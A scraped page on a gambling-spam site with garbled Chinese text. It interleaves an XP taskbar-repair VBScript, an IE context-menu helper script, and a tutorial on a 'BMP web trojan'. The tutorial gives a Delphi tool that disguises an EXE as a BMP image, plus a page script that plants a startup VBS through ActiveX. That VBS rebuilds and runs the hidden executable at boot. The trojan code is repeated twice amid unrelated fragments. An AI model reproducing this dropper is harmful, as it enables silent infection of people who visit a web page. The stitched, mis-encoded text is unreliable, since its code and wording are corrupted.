澳门新浦京娱乐场网站-www.146.net-新浦京娱乐场官网
做最好的网站

澳门新浦京娱乐场网站无法在任务栏显示图标的

下载地址:脚本文件

    何谓BMP网页木马?它和千古早就用臭了的MIME头漏洞的木马不一样,MIME木马是把一个EXE文件用MIME编码为三个EML(OUT LOOK信件卡塔尔文件,放到网页上选用IE和OE的编码漏洞兑现活动下载和实施。
不过BMP木马就区别,它把五个EXE文件伪装成五个BMP图片文件,棍骗IE自动下载,再选拔网页中的JAVASC福睿斯IPT脚本查找顾客端的Internet有时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录。再编辑三个本子把找到的BMP文件用DEBUG还原成EXE,并把它内置注册表运营项中,在下一遍开机时实践.可是这种技艺只好在9X下发挥效率,对于2K、XP来讲是力所不如了。
看起来好象很复杂,下边大家一步一步来:
1) EXE变BMP的方法
世家本身去查查BMP文件质感就能够精通,BMP文件的文本头有五十多少个字节,简单的说里面含有了BMP文件的长度宽度、位数、文件大小、数据区长度。大家即使在EXE文件的公文头后面增多相应的BMP文件头(当然BMP文件头里面包车型大巴数码要切合EXE文件的深浅啦卡塔尔(قطر‎,那样就足以欺诈IE下载该BMP文件,最早大家用JPG文件做过考试,发掘只要文件头不得法的话,是不会下载的,调换代码如下:
program exe2bmp;

率先表达这不是怎么新的东西,但近日有的人说大家平昔不,那就随意写编随笔放上来了,大家本身考试一下. 誉为BMP网页木马?它和千古早就用臭了的MIME头漏洞的木马不相同,MIME木马是把八个EXE文件用MIME编码为叁个EML(OUT LOOK信件卡塔尔(قطر‎文件,放到网页上使用IE和OE的编码漏洞兑现活动下载和施行. 
然则BMP木马就不一致,它把贰个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再采用网页中的javascript脚本查找顾客端的Internet不经常文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编辑三个剧本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表运行项中,在下贰回开机时推行.可是这种技艺只好在9X下发挥成效,对于2K,XP来讲是回天无力了.

'xp_taskbar_desktop_fixall.vbs - Repairs the Taskbar when minimized programs don't show.
'?Kelly Theriot and Doug Knox - 8/22/2003
'翻译:Smallfrogs。翻译内容:将罗马尼亚语提示改为简体普通话
'来源:Microsoft Windows XP NewsGroup

//最先的著小编:张三疯 //功效修正:海娃 // //设置文本保存的暗中同意目录,注意:程序不能够创设二级目录 var fdir="D:\\MyCode"; var fsdir=fdir.replace; var fdrive = fdir.substring; var fsubdir = fdir.substring; //以下内容不需改革 var fso, d, fl, fn, fo,foo,fs,fss,windir, WSHShell,fw,fww; fso = new ActiveXObject("Scripting.FileSystemObject"卡塔尔(英语:State of Qatar); d = fso.GetDrive; WSHShell = WScript.CreateObject; var errorChar=/(/|:|*|?|"|||卡塔尔(英语:State of Qatar)/; //若无一点点名的驱动器,恐怕驱动器类型不是硬盘,或然目录名包涵违规字符.则弹出错误音讯if (!fso.DriveExists || d.DriveType!=2 || errorChar.test {WSHShell.Popup("文本保存目录错误,请重新恢复设置文本保存目录."卡塔尔国;} else { if (!fso.FolderExists {fso.CreateFolder;} windir=fso.GetSpecialFolder; fn=windir "\savetext.htm"; fl = fso.CreateTextFile; fl.WriteLine; fo= windir "\openfolder.htm"; foo = fso.CreateTextFile; foo.WriteLine; fw= windir "\51windows.htm"; fww = fso.CreateTextFile; fww.WriteLine; var fb,fbb; fb= windir "\blueidea.htm"; fbb = fso.CreateTextFile; fbb.WriteLine; var fc,fbc; fc= windir "\csdn.htm"; fcc = fso.CreateTextFile; fcc.WriteLine; fs=windir "\google.htm"; fss = fso.CreateTextFile; fss.WriteLine; fu=windir "\link.htm"; fuu = fso.CreateTextFile; fuu.WriteLine; WSHShell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\MenuExt\展开代码文件夹; WSHShell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\MenuExt\51windows.Net; WSHShell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\MenuExt\CSDN; WSHShell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\MenuExt\栗褐理想; WSHShell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\MenuExt\封存所选文本; WSHShell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\MenuExt\开采网站; WSHShell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\MenuExt\Google搜索\",fs卡塔尔(英语:State of Qatar); WSHShell.Popup("SaveText 安装成功!!!n私下认可的文书保存目录为 " fsdir卡塔尔(英语:State of Qatar); }

uses
Windows,
SysUtils;

看起来好象很复杂,上边大家一步一步来: 
1) EXE变BMP的方法. 
世家温馨去查查BMP文件材料就能够明白,BMP文件的文书头有54个字节,轻便的话里面含有了BMP文件的长度宽度,位数,文件大小,数据村长度,大家只要在EXE文件的文本头前边增多相应的BMP文件头(当然BMP文件头里面包车型客车数据要相符EXE文件的大小啦卡塔尔,那样就能够诈骗IE下载该BMP文件,初始大家用JPG文件做过考试,开掘只要文件头不科学的话,IE是不会下载的,调换代码如下: 

Set WSHShell = WScript.CreateObject("WScript.Shell")
Message = "本脚本用于修复Windows XP中当最小化程序时,相当小概在职务栏显示Logo的难题。"& vbC奥迪Q5 & vbCSportage
Message = Message & "为了健康办事,本脚本将闭馆和重启 Windows Explorer 外壳,那么些操作不会损坏你的体系。" & vbCEnclave & vbCOdyssey
Message = Message & "请关闭全部杀毒软件的实时督查!并保存全部打开的文书。"& vbC昂科威 & vbCGL450
Message = Message & "是或不是持续?"

[Ctrl A 全选 注:如需引进外界Js需刷新才干奉行]安装形式:下载到本地,双击,借使设置成功,系统会弹出成功的对话框!功效简要介绍:1、右键参与多少个网址的链接2、可以张开未有链接的网址3、选定风姿浪漫段文本后,能够保存,并将网页地址记录4、选定多少个文字后,在google上索求大概存在的主题材料:程序会自动在D盘创设文件夹Mycode,假使您的微计算机独有八个分区,请改一下,当然你也足以改为其余的盘上!程序会改动注册表,一些软件只怕会有“病毒”消息指示!那样你可以一时关闭程序来设置!假使不再想用那个职能,请在注册表中去除!在运维中输入:regedit找到[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt把相关的信息删除!

var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;

program exe2bmp;

X = MsgBox(Message, vbYesNo vbExclamation, "注意")

卸载文件

begin
if (ParamStr(1卡塔尔(قطر‎<>''卡塔尔 and(ParamStr(2卡塔尔(英语:State of Qatar)<>''卡塔尔(英语:State of Qatar) then begin //倘若运转后还没七个参数则脱离
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs 12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col 4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len 54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or
FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or
FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.

uses
Windows,
SysUtils;

If X = 6 Then

WSHShell = WScript.CreateObject; try{ WSHShell.RegDelete("HKCU\Software\Microsoft\Internet Explorer\MenuExt\开垦代码文件夹; WSHShell.RegDelete("HKCU\Software\Microsoft\Internet Explorer\MenuExt\51windows.Net; WSHShell.RegDelete("HKCU\Software\Microsoft\Internet Explorer\MenuExt\CSDN; WSHShell.RegDelete("HKCU\Software\Microsoft\Internet Explorer\MenuExt\土灰理想; WSHShell.RegDelete("HKCU\Software\Microsoft\Internet Explorer\MenuExt\封存所选文本; WSHShell.RegDelete("HKCU\Software\Microsoft\Internet Explorer\MenuExt\开拓网站; WSHShell.RegDelete("HKCU\Software\Microsoft\Internet Explorer\MenuExt\Google搜索\"卡塔尔; uninstalled = true } catch{ } WSHShell.Popup("删除安装成功,请张开三个新的IE窗口查看"卡塔尔国

如上代码能够在DELPHI4,5,6中编写翻译,就足以博得二个exe2bmp.exe文件.大家开辟MSDOS情势,输入
exe2bmp myexe.exe mybmp.bmp
回车就能够把第一个参数所钦命的EXE文件调换来BMP格式.
接着正是把那个BMP图片放到网页上了,假如我们开垦过这张图片的话,一定开掘那张BMP又花,颜色又单调.所以大家放在网页上最棒用这么的格式
<img srd="mybmp.bmp" higth="0" width="0">
以下是放在网页上的剧本
document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys '\s.vbs';
wsh.RegWrite
('HKCU\Software\Microsoft\Windows\CurrentVersion
\Run\vbs','wscript ' '"' vbs '" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\Software\Microsoft
\Windows\CurrentVersion\Explorer\ShellFolders\Cache")''));
st.WriteLine('wsh.RegDelete("HKCU\Software\Microsoft\Windows
\CurrentVersion\Run\vbs")''));
st.WriteLine ('wsh.RegWrite "HKCU\Software\Microsoft\Windows
\CurrentVersion\Run\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) &
"\" & folder.name & "\" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat
 <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000);
把该脚本保存为"js.js",在网页中插入:
<script src="js.js"></script>
该脚本主要会在本地机械的SYSTEM目录下生成三个“S.VBS”文件,该脚本文件会在后一次开机时自动运维。首要用以从有的时候目录中寻觅mybmp[1].bmp文件。
“S.VBS”文件珍视内容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersion
ExplorerShellFoldersCache")
wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")
wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRuntmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从有的时候文件夹中寻找目的BMP图片
str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & ""
winsys=fso.GetSpecialFolder(1) & ""
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面生机勃勃行的1000是十七进制,换回十进制是4096(该数字是您的EXE文件的轻重卡塔尔国
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
其风度翩翩脚本会找寻在有的时候文件夹中的bmp文件,并生成七个DEBUG的脚本,运维时会自动从BMP文件54字节处读去你钦赐大小的数量,并把它保存到tmp.dat中.前面的台本再把它复制到SYSTEM的目录下.那个被还原的EXE文件会在下一次重起的时候运转.那正是BMP木马的为主贯彻进程.

var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;

On Error Resume Next

[Ctrl A 全选 注:如需引进外界Js需刷新技能实行]

begin
if (ParamStr(1卡塔尔<>''卡塔尔 and(ParamStr(2卡塔尔(قطر‎<>''卡塔尔(قطر‎ then begin //即使运营后不曾多个参数则脱离 
if FileExists(ParamStr(1)) then begin 
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin 
len:=fs;
end else len:=fs 12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col 4;
end else Break;
end; 
FillChar(buffer,256,0);
{一下为BMP文件头数据} 
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len 54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件} 
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat 
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.

WshShell.RegDelete "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerStuckRects2"
WshShell.RegDelete "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerStreamsMRU"
WshShell.RegDelete "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerStreamsDesktop"

图示:

上述代码能够在DELPHI4,5,6中编译,就能够收获八个exe2bmp.exe文件.大家张开MSDOS情势,输入
exe2bmp myexe.exe mybmp.bmp
回车就能够把第二个参数所内定的EXE文件调换成BMP格式.
接着正是把那几个BMP图片放到网页上了,假诺我们开采过那张图片的话,一定发掘那张BMP又花,颜色又单调.所以大家放在网页上最好用那样的格式

WshShell.RegDelete "HKCUSoftwareMicrosoftInternet ExplorerExplorer Bars{32683183-48a0-441b-a342-7c2a440a9478}BarSize"

以下是身处网页上的台本
document.write(' '); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}'); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}'); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys '\s.vbs'; 
wsh.RegWrite 
('HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs','wscript ' '"' vbs '" '); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine('Option Explicit'); 
st.WriteLine('Dim FSO,WSH,CACHE,str'); 
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")'); 
st.WriteLine('Set WSH = CreateObject("WScript.Shell")'); 
st.WriteLine('CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")'); 
st.WriteLine('wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")');
st.WriteLine ('wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"'); 
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"'); 
st.WriteLine('WScript.Quit()'); 
st.WriteLine('Function SearchBMPFile(Folder,fname)'); 
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys'); 
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname'); 
st.WriteLine(' if FSO.FileExists(str) then'); 
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\"'); 
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\"'); 
st.WriteLine(' set File=FSO.GetFile(str)'); 
st.WriteLine(' File.Copy(tmp & "tmp.dat")'); 
st.WriteLine(' File.Delete'); 
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")'); 
st.WriteLine(' Lt.WriteLine("rbx")'); 
st.WriteLine(' Lt.WriteLine("0")'); 
st.WriteLine(' Lt.WriteLine("rcx")'); 
st.WriteLine(' Lt.WriteLine("1000")'); 
st.WriteLine(' Lt.WriteLine("w136")'); 
st.WriteLine(' Lt.WriteLine("q")'); 
st.WriteLine(' Lt.Close'); 
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6'); 
st.WriteLine(' On Error Resume Next '); 
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")'); 
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete'); 
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete'); 
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete'); 
st.WriteLine(' end if'); 
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then'); 
st.WriteLine(' For Each SubFolder In Folder.SubFolders'); 
st.WriteLine(' SearchBMPFile SubFolder,fname'); 
st.WriteLine(' Next'); 
st.WriteLine(' End If'); 
st.WriteLine('End Function');
st.Close(); 
} 
setTimeout('docsave()',1000); 

P1 = "HKCUSoftwareMicrosoftWindows澳门新浦京娱乐场网站无法在任务栏显示图标的问题,脚本写的IE右键助手_javascript技巧_脚本之家。CurrentVersionPoliciesExplorer"

把该脚本保存为"js.js",在网页中插入:

WshShell.RegWrite p1 & "NoBandCustomize", 0, "REG_DWORD"
WshShell.RegWrite p1 & "NoMovingBands", 0, "REG_DWORD"
WshShell.RegWrite p1 & "NoCloseDragDropBands", 0, "REG_DWORD"
WshShell.RegWrite p1 & "NoSetTaskbar", 0, "REG_DWORD"
WshShell.RegWrite p1 & "NoToolbarsOnTaskbar", 0, "REG_DWORD"
WshShell.RegWrite p1 & "NoSaveSettings",0,"REG_DWORD"
WshShell.RegWrite p1 & "NoToolbarsOnTaskbar", 0, "REG_DWORD"
WshShell.RegWrite p1 & "NoSetTaskbar",0,"REG_DWORD"
WshShell.RegWrite p1 & "NoActiveDesktop",0,"REG_DWORD"
WshShell.RegWrite p1 & "ClassicShell",0,"REG_DWORD"

该脚本首要会在该地机械的SYSTEM目录下生成三个“S.VBS”文件,该脚本文件会在下一次开机时自动运转。重要用以从临时目录中寻觅mybmp[1].bmp文件。
“S.VBS”文件根本内容如下:

p1 = "HKCUSoftwareMicrosoftWindowsCurrentVersionGroup Policy ObjectsLocalUserSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer"

Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache")
wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")
wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRuntmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从不时文件夹中寻觅指标BMP图片 
str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & ""
winsys=fso.GetSpecialFolder(1) & ""
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成叁个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'上面风流浪漫行的1000是十四进制,换回十进制是4096(该数字是您的EXE文件的朗朗上口卡塔尔国 
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next 
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function

WshShell.RegWrite p1 & "NoCloseDragDropBands", 0, "REG_DWORD"
WshShell.RegDelete p1 & "NoMovingBands"

本条脚本会寻觅在一时文件夹中的bmp文件,并转移叁个DEBUG的剧本,运营时会自动从BMP文件54字节处读去你钦命大小的数码,并把它保存到tmp.dat中.后边的脚本再把它复制到SYSTEM的目录下.这些被复苏的EXE文件会在下一次重起的时候运营.那正是BMP木马的为主落到实处进度.
详尽脚本代码请参见

p1 = "HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonShell"

防止措施:
最简便,删除或改名wscrpit.exe文件和DEBUG 文件;
设置有效的杀毒软件,因为那么些本子有好些个杀毒软件已经得以查出来了.
在基准允许的景况下,安装WIN2K SP3,尽量制止去一些不名来历的网址.

WshShell.RegWrite p1, "explorer.exe", "REG_SZ"

p1 = "HKCUSoftwareMicrosoftInternet ExplorerExplorer Bars{32683183-48a0-441b-a342-7c2a440a9478}"
WshShell.RegDelete p1 & "BarSize"
WshShell.RegWrite p1, "Media Band", "REG_SZ"

On Error Goto 0

For Each Process in GetObject("winmgmts:"). _
 ExecQuery ("select * from Win32_Process where name='explorer.exe'")
   Process.terminate(0)
Next

MsgBox "完成!" & vbcr & vbcr & "?Kelly Theriot and Doug Knox", 4096, "完成"

Else

MsgBox "未有对您的体系开展其他变动。" & vbcr & vbcr & "?凯利 Theriot and Doug Knox", 4096, "客商废除了"

End If

本文由澳门新浦京娱乐场网站发布于服务器,转载请注明出处:澳门新浦京娱乐场网站无法在任务栏显示图标的